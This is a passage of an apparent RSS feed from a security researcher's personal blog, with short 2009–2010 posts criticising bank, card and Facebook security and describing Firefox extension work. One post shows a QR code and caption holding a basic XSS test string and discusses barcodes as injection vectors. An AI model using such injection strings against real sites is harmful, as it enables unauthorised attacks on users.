  <description>&lt;a href=&quot;http://webinsecurity.blogspot.com/2010/02/bank-being-sued-for-teaching-customers.html&quot;&gt;Bank being sued for teaching customers bad security habits&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Really short version: Turns out, it&apos;s a terrible idea to teach your customers bad habits.  &lt;br /&gt;&lt;br /&gt;Longer verison: And by bad habits, we mean the digital equivalent of saying, &quot;of course our agents hang out in dark alleys.  You should totally go there and give your wallet to strangers if they ask.&quot;&lt;br /&gt;&lt;br /&gt;&lt;img src=&quot;http://www.dreamwidth.org/tools/commentcount?user=terriko&amp;ditemid=21120&quot; width=&quot;30&quot; height=&quot;12&quot; alt=&quot;comment count unavailable&quot; style=&quot;vertical-align: middle;&quot;/&gt; comments</description>
  <comments>http://terriko.dreamwidth.org/21120.html</comments>
  <category>webinsecurity</category>
  <category>security</category>
  <category>geek</category>
  <category>tech</category>
  <category>web</category>
  <lj:security>public</lj:security>
  <lj:reply-count>0</lj:reply-count>
</item>
<item>
  <guid isPermaLink='true'>http://terriko.dreamwidth.org/20625.html</guid>
  <pubDate>Mon, 08 Feb 2010 16:45:25 GMT</pubDate>
  <title>Web Insecurity: Amex thinks shorter passwords without special characters are more secure</title>
  <link>http://terriko.dreamwidth.org/20625.html</link>
  <description>Another post to Web Insecurity.  This one is pretty much explained by the title:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;br /&gt;&lt;strong&gt;&lt;a href=&quot;http://webinsecurity.blogspot.com/2010/02/amex-thinks-shorter-passwords-without.html&quot;&gt;Amex thinks shorter passwords without special characters are more secure&lt;/a&gt;&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;I was working on a background section of my thesis proposal and was talking about how some misconceptions regarding security policies can result in web sites being a lot less secure. But [American Express] takes security misconceptions to a new low...&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;(&lt;a href=&quot;http://webinsecurity.blogspot.com/2010/02/amex-thinks-shorter-passwords-without.html&quot;&gt;Read the rest&lt;/a&gt;.  And weep.  Or laugh.  It&apos;s pretty terrible.)&lt;br /&gt;&lt;br /&gt;&lt;img src=&quot;http://www.dreamwidth.org/tools/commentcount?user=terriko&amp;ditemid=20625&quot; width=&quot;30&quot; height=&quot;12&quot; alt=&quot;comment count unavailable&quot; style=&quot;vertical-align: middle;&quot;/&gt; comments</description>
  <comments>http://terriko.dreamwidth.org/20625.html</comments>
  <category>webinsecurity</category>
  <category>security</category>
  <category>geek</category>
  <category>tech</category>
  <category>web</category>
  <lj:security>public</lj:security>
  <lj:reply-count>0</lj:reply-count>
</item>
<item>
  <guid isPermaLink='true'>http://terriko.dreamwidth.org/20411.html</guid>
  <pubDate>Sun, 07 Feb 2010 18:23:22 GMT</pubDate>
  <title>Web Insecurity: Barcodes for breaches</title>
  <link>http://terriko.dreamwidth.org/20411.html</link>
  <description>&lt;em&gt;This post is so short that I figured I might as well copy the whole thing from &lt;a href=&quot;http://webinsecurity.net&quot;&gt;Web Insecurity&lt;/a&gt;.  Sorry about the full duplicate!&lt;/em&gt;&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;br /&gt;&lt;h3&gt;&lt;a href=&quot;http://webinsecurity.blogspot.com/2010/02/barcodes-for-breaches.html&quot;&gt;Barcodes for breaches&lt;/a&gt;&lt;/h3&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style=&quot;float: right; margin-left: 10px; margin-bottom: 10px;&quot;&gt;&lt;img src=&quot;http://qrcode.kaywa.com/img.php?s=8&amp;amp;d=%3Cscript%3Ealert%28%22test%22%29%3C%2Fscript%3E&quot; alt=&quot;qrcode&quot; title=&quot;&amp;lt;script&amp;gt;alert(&amp;#39;test&amp;#39;)&amp;lt;/script&amp;gt;&quot; align=&quot;right&quot; /&gt;&lt;br /&gt;&lt;span style=&quot;margin-top: 0px;font-size:0.9em;&quot;&gt;&lt;br /&gt;Barcode: &amp;lt;script&amp;gt;alert(&quot;test&quot;)&amp;lt;/script&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;I&apos;m highly amused by the &lt;a href=&quot;http://www.irongeek.com/xss-sql-injection-fuzzing-barcode-generator.php&quot;&gt;XSS, SQL Injection and Fuzzing Barcode Cheat Sheet&lt;/a&gt;.  Who knew security attacks could look almost... pretty?  It&apos;s just standard XSS and SQL injection test code translated to bar codes, so they could be used as injection vectors.  I know I&apos;ve scanned codes to grab an app I want faster on my phone, and I&apos;m seeing codes popping up in the free daily papers, which I find somewhat interesting given that &lt;a href=&quot;http://en.wikipedia.org/wiki/CueCat#Embodiment_failure&quot;&gt;early attempts to get people to use barcodes have met with commercial failure and ridicule&lt;/a&gt;.  Oh well, it&apos;s all ok now that we have smartphones, right?&lt;br /&gt;&lt;br /&gt;Anyhow.  This is still an entertaining attack vector.  Maybe &lt;a href=&quot;http://diveintomark.org/archives/2010/01/29/tinkerers-sunset&quot;&gt;governments (such as my own!) will ban bar codes as hacking tools next&lt;/a&gt;?&lt;br /&gt;&lt;div style=&quot;clear: both;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;&lt;img src=&quot;http://www.dreamwidth.org/tools/commentcount?user=terriko&amp;ditemid=20411&quot; width=&quot;30&quot; height=&quot;12&quot; alt=&quot;comment count unavailable&quot; style=&quot;vertical-align: middle;&quot;/&gt; comments</description>
  <comments>http://terriko.dreamwidth.org/20411.html</comments>
  <category>webinsecurity</category>
  <category>security</category>
  <category>geek</category>
  <category>tech</category>
  <category>web</category>
  <lj:security>public</lj:security>
  <lj:reply-count>1</lj:reply-count>
</item>
<item>
  <guid isPermaLink='true'>http://terriko.dreamwidth.org/20198.html</guid>
  <pubDate>Fri, 05 Feb 2010 16:58:34 GMT</pubDate>
  <title>Web Insecurity: Credit card companies covering their ass(ets)</title>
  <link>http://terriko.dreamwidth.org/20198.html</link>
  <description>I&apos;ve rearranged my data feeds so I get more security news, and I&apos;m finding I want to write a little bit about it, so I&apos;ve resurrected &lt;a href=&quot;http://webinsecurity.net&quot;&gt;WebInsecurity.net&lt;/a&gt; for the purpose of talking about recent security news.  It&apos;s actually a nice warm-up exercise when I find myself having writer&apos;s block while I work on my thesis proposal.  That&apos;s actually what I was hoping for when I started &lt;a href=&quot;http://webinsecurity.net&quot;&gt;WebInsecurity.net&lt;/a&gt;, but then I found a lot of what I wanted to write should probably be &lt;em&gt;in&lt;/em&gt; the proposal and it wasn&apos;t working so well as a change of pace.  So time to reboot and try something easier to keep myself in good writing form.&lt;br /&gt;&lt;br /&gt;So there will be new stuff at &lt;a href=&quot;http://webinsecurity.net&quot;&gt;WebInsecurity.net&lt;/a&gt; and if you&apos;re so inclined, here&apos;s &lt;a href=&quot;http://webinsecurity.blogspot.com/feeds/posts/default&quot;&gt;the webinsecurity.net rss feed&lt;/a&gt; or you can go use the fancy-schmancy subscribe buttons on the site itself.  Edit: Oh, and there&apos;s &lt;span style=&apos;white-space: nowrap;&apos;&gt;&lt;a href=&apos;http://webinsecurity-feed.dreamwidth.org/profile&apos;&gt;&lt;img src=&apos;http://www.dreamwidth.org/img/silk/identity/feed.png&apos; alt=&apos;[syndicated profile] &apos; width=&apos;16&apos; height=&apos;16&apos; style=&apos;vertical-align: text-bottom; border: 0; padding-right: 1px;&apos; /&gt;&lt;/a&gt;&lt;a href=&apos;http://webinsecurity-feed.dreamwidth.org/&apos;&gt;&lt;b&gt;webinsecurity_feed&lt;/b&gt;&lt;/a&gt;&lt;/span&gt; for the dreamwidth folk! (Have I mentioned how much I love dreamwidth lately?)&lt;br /&gt;&lt;br /&gt;As most of these are just plain interesting, I&apos;ll probably post short summaries here too.  So here&apos;s today&apos;s!&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;br /&gt;&lt;a href=&quot;http://webinsecurity.blogspot.com/2010/02/credit-card-security-mechanisms-turn.html&quot;&gt;Web Insecurity: Credit card companies covering their ass(ets)&lt;/a&gt;&lt;br /&gt;Exactly whose security does your credit card company have in mind? Here&apos;s a hint: It&apos;s probably not yours.&lt;br /&gt;&lt;br /&gt;[B]asically, 3-D Secure [MasterCard SecureCode and Verified by Visa] provides economic security rather than technical security -- but not for you, the customer. It&apos;s providing extra security for the banks by passing the buck.&lt;br /&gt;&lt;br /&gt;(&lt;a href=&quot;http://webinsecurity.blogspot.com/2010/02/credit-card-security-mechanisms-turn.html&quot;&gt;Read more&lt;/a&gt;)&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;&lt;img src=&quot;http://www.dreamwidth.org/tools/commentcount?user=terriko&amp;ditemid=20198&quot; width=&quot;30&quot; height=&quot;12&quot; alt=&quot;comment count unavailable&quot; style=&quot;vertical-align: middle;&quot;/&gt; comments</description>
  <comments>http://terriko.dreamwidth.org/20198.html</comments>
  <category>webinsecurity</category>
  <category>security</category>
  <category>tech</category>
  <category>web</category>
  <category>meta</category>
  <lj:security>public</lj:security>
  <lj:reply-count>0</lj:reply-count>
</item>
<item>
  <guid isPermaLink='true'>http://terriko.dreamwidth.org/14561.html</guid>
  <pubDate>Mon, 26 Oct 2009 15:51:25 GMT</pubDate>
  <title>Why you aren&apos;t wrong to hate new Facebook</title>
  <link>http://terriko.dreamwidth.org/14561.html</link>
  <description>Every time Facebook makes a major change, you can hear outrage spread across the globe.  Polls spring up with &quot;Do you hate the new Facebook?&quot; and yes is always in the lead.  Your friends whine about it incessantly in their status messages.  Petitions start asking Facebook to change things back.&lt;br /&gt;&lt;br /&gt;It&apos;s easy to dismiss the fuss as a bunch of people who need to learn to move on.  But it turns out, people are not wrong to hate every change in Facebook.  They just might not be right for the reasons that they think.&lt;br /&gt;&lt;br /&gt;As a web security researcher, I spend a lot of time thinking about what makes sites more secure, or more insecure.  Every major change is likely to introduce new bugs, even as it may fix others.  And the way the security model of the web works, any &quot;minor&quot; bug might result in major damage to you, as an individual.  People store their whole lives on Facebook, and that means that a minor bug might let anyone in on their own, private stuff. &lt;br /&gt;&lt;br /&gt;So every time the interface changes, you should probably be afraid that Facebook may be accidentally or intentionally allowing the entire world access to your stuff. &lt;br /&gt;&lt;br /&gt;Does that mean &quot;I hate the new Facebook!&quot; is the new &quot;GIRLS ONLY, NO BROTHERS ALLOWED!!!!&quot; taped to the door?  As in, you&apos;re worried Dad will leave the door open after vacuuming and you&apos;ll find your brother has played with your toys?  Uncool, but really, no one who&apos;s over the age of 14 will care? &lt;br /&gt;&lt;br /&gt;Turns out the security reality says the stakes are a lot higher.  Many people keep a lot of private stuff in Facebook.  It&apos;s more like Facebook said they were coming in to paint your apartment walls, but they rearranged all the furniture too and you have this feeling that they left the door unlocked and thus let strangers traipse through your apartment, maybe installing a wiretap and stealing your panties while they&apos;re there.   Facebook makes a lousy landlord.  Or at least a creepy one.&lt;br /&gt;&lt;br /&gt;I don&apos;t know how to end this post.  As long as Facebook is your landlord, you&apos;re subject to their whims, and you might as well get used to it.  But if changes in Facebook leave you feeling maybe a little violated, that&apos;s probably &lt;em&gt;exactly&lt;/em&gt; how you should feel.&lt;br /&gt;&lt;br /&gt;&lt;img src=&quot;http://www.dreamwidth.org/tools/commentcount?user=terriko&amp;ditemid=14561&quot; width=&quot;30&quot; height=&quot;12&quot; alt=&quot;comment count unavailable&quot; style=&quot;vertical-align: middle;&quot;/&gt; comments</description>
  <comments>http://terriko.dreamwidth.org/14561.html</comments>
  <category>security</category>
  <category>geek</category>
  <category>web</category>
  <category>privacy</category>
  <category>facebook</category>
  <lj:security>public</lj:security>
  <lj:reply-count>6</lj:reply-count>
</item>
<item>
  <guid isPermaLink='true'>http://terriko.dreamwidth.org/5911.html</guid>
  <pubDate>Fri, 07 Aug 2009 19:15:02 GMT</pubDate>
  <title>Writing Firefox Extensions in JavaScript (or possibly in the dark ages)</title>
  <link>http://terriko.dreamwidth.org/5911.html</link>
  <description>I&apos;m working on a Firefox extension. &lt;br /&gt;&lt;br /&gt;For those of you who have not attempted this, let me tell you a few things about the experience:&lt;br /&gt;&lt;br /&gt;(a) I&apos;m working in JavaScript.  JavaScript likes to fail gracefully, which means that it doesn&apos;t tend to spew error messages every time something goes wrong. That&apos;s nice if you&apos;re using it, but annoying when you&apos;re trying to track down an error.&lt;br /&gt;&lt;br /&gt;(b) And then, in case it wasn&apos;t quiet enough, I put it into an add-on, where it&apos;s even more silent, and on top of that I can&apos;t bring my usual JavaScript debugging tools to bear on it because they only operate on the code in a web page.&lt;br /&gt;&lt;br /&gt;So basically, I&apos;ve been programming for the past few days without all the usual modern coding conveniences.  I have been reduced to debugging almost entirely from the equivalent of printf or echo.  Thank goodness I at least have syntax highlighting.  To use a terrible analogy, this is akin to writing everything on a typewriter -- better than a quill and ink perhaps, but still not quite up to the modern computer when it comes to the easy fixing of mistakes.&lt;br /&gt;&lt;br /&gt;I&apos;ve lost track of the number of times where I&apos;ve deleted my non-working code, retyped it all, only to find that this time, it works.  The problem before was almost certainly a typo, but it was less trouble to re-write than try to find the missing character.  Incredibly frustrating.&lt;br /&gt;&lt;br /&gt;That said, I actually kinda like Firefox extension development, even if the minutiae are irritating.  It&apos;s incredibly satisfying when it works, and I can then try my code out on any web page I want, really easily.  So much data.  And the idea that other people will be able to install my code is surprisingly appealing.  (Well, perhaps not that surprising -- I used to write IRC scripts back in the day.) &lt;br /&gt;&lt;br /&gt;But I do feel a little like I&apos;m the dark ages here, and I find it hard to believe that other people placidly program in this environment.  So I&apos;m guessing there are tools out there, I just don&apos;t know them. Last time I tried any was probably pre Firefox 2.0, and I wasn&apos;t thrilled, but I&apos;d be happy to take some recommendations now if things have gotten better now that we&apos;re up to 3.5!&lt;br /&gt;&lt;br /&gt;&lt;img src=&quot;http://www.dreamwidth.org/tools/commentcount?user=terriko&amp;ditemid=5911&quot; width=&quot;30&quot; height=&quot;12&quot; alt=&quot;comment count unavailable&quot; style=&quot;vertical-align: middle;&quot;/&gt; comments</description>
  <comments>http://terriko.dreamwidth.org/5911.html</comments>
  <category>code</category>
  <category>geek</category>
  <category>web</category>
  <category>work</category>
  <lj:security>public</lj:security>
  <lj:reply-count>8</lj:reply-count>
</item>
</channel>
</rss>
